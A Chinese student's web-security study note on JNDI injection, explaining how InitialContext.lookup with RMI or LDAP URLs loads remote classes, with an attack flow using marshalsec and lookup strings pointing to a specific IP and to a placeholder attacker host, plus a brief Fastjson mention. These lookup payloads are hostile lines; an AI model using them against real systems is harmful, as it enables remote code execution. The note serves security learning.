小迪web自用笔记37

jndi,它是一个接口,可以实现对象与服务的调用。

rmi ldap利用

ingection

可以利用这个接口远程调用功能。

这两个协议最重要↓

Javax.Naming.Initialcontext.lookup()专门实现jndi注入

这是过程↑

这是Java JNDI注入漏洞的演示代码,基于IntelliJ IDEA开发环境编写,以下是详细解读:

  1. 技术组件
  • 核心类: javax.naming.InitialContext ,是Java命名与目录接口(JNDI)的核心类,用于访问命名和目录服务(如RMI、LDAP)。

  • 协议调用:通过 lookup 方法发起远程服务调用,示例中包含

  • RMI协议: rmi://47.94.236.117:1099/Test

  • LDAP协议: ldap://47.94.236.117:1389/nx5qkh

  1. 漏洞原理

当代码执行 lookup 时,会远程加载并执行指定地址的class文件(如 nx5qkh 对应的恶意类)。这是JNDI注入漏洞的核心逻辑------攻击者可通过控制远程类的内容,实现恶意代码注入执行。

  1. 场景用途

该代码常用于Java安全漏洞(如Log4j2漏洞)的原理演示,帮助理解"如何通过JNDI远程引用执行恶意代码",是Web安全教学、漏洞研究中的典型案例。

要诱导加载恶意类,核心是利用JNDI支持的远程协议(如RMI、LDAP)的"远程类加载"能力,具体流程如下:

  1. 协议的作用

RMI、LDAP是JNDI支持的远程协议,它们允许通过URL远程引用并加载类。攻击者正是利用这一特性,将恶意类的地址嵌入到JNDI的 lookup 参数中,诱导目标应用主动去远程加载并执行恶意类。

  1. 攻击流程(以LDAP为例)

步骤 操作 技术细节

1 搭建恶意LDAP服务 用 marshalsec 工具启动LDAP服务,配置它将请求重定向到托管恶意类的HTTP服务器(如 http://攻击者IP/恶意类.class

2 构造恶意JNDI URL 生成包含LDAP重定向地址的URL,如 ldap://攻击者IP:1389/恶意类标识

3 诱导目标执行 让目标应用的JNDI代码执行 new InitialContext().lookup("ldap://攻击者IP:1389/恶意类标识")

4 远程加载恶意类 目标应用通过LDAP协议发起请求,被重定向到HTTP服务器下载并执行 恶意类.class ,从而触发攻击

  1. RMI协议的类似逻辑

RMI协议的攻击流程与LDAP类似:攻击者搭建恶意RMI服务,将恶意类的地址注册到RMI服务中,当目标执行 lookup("rmi://攻击者IP/恶意类标识") 时,会远程加载并执行恶意类。

简单来说,协议是"运输通道"------RMI、LDAP协议负责将"加载恶意类"的指令传递给目标应用,最终实现恶意代码的注入执行。

这个漏洞有版本限制。

Fastjson

黑盒测试可以看报错回显

调用类中的方法。

这节课听着懵懵的。

相关推荐
じòぴé南冸じょうげん4 天前
APP本地调试正常,但是打包后出现账号密码解析错误,且前端未使用加密解密
小程序·uni-app·web app
星光一影6 天前
合成植物大战僵尸 安卓原生APP Cocos游戏 支持Sigmob
android·游戏·php·html5·web app
speedoooo6 天前
在现有App里嵌入一个AI协作者
前端·ui·小程序·前端框架·web app
speedoooo7 天前
未来的App不再需要菜单栏?
前端·ui·容器·小程序·web app
BD_Marathon13 天前
【JavaWeb】Tomcat_WebAPP的标准结构
java·tomcat·web app
良逍Ai出海14 天前
Vibecoding 开发前,要怎么去写一份面向Ai的需求文档
人工智能·ios·web app
旧梦吟22 天前
脚本网页 推理游戏
算法·css3·html5·web app
CITY_OF_MO_GY22 天前
Web APP核心组件:Web服务器+Web框架
web app
new_daimond23 天前
WAF(Web Application Firewall)详解
网络·web app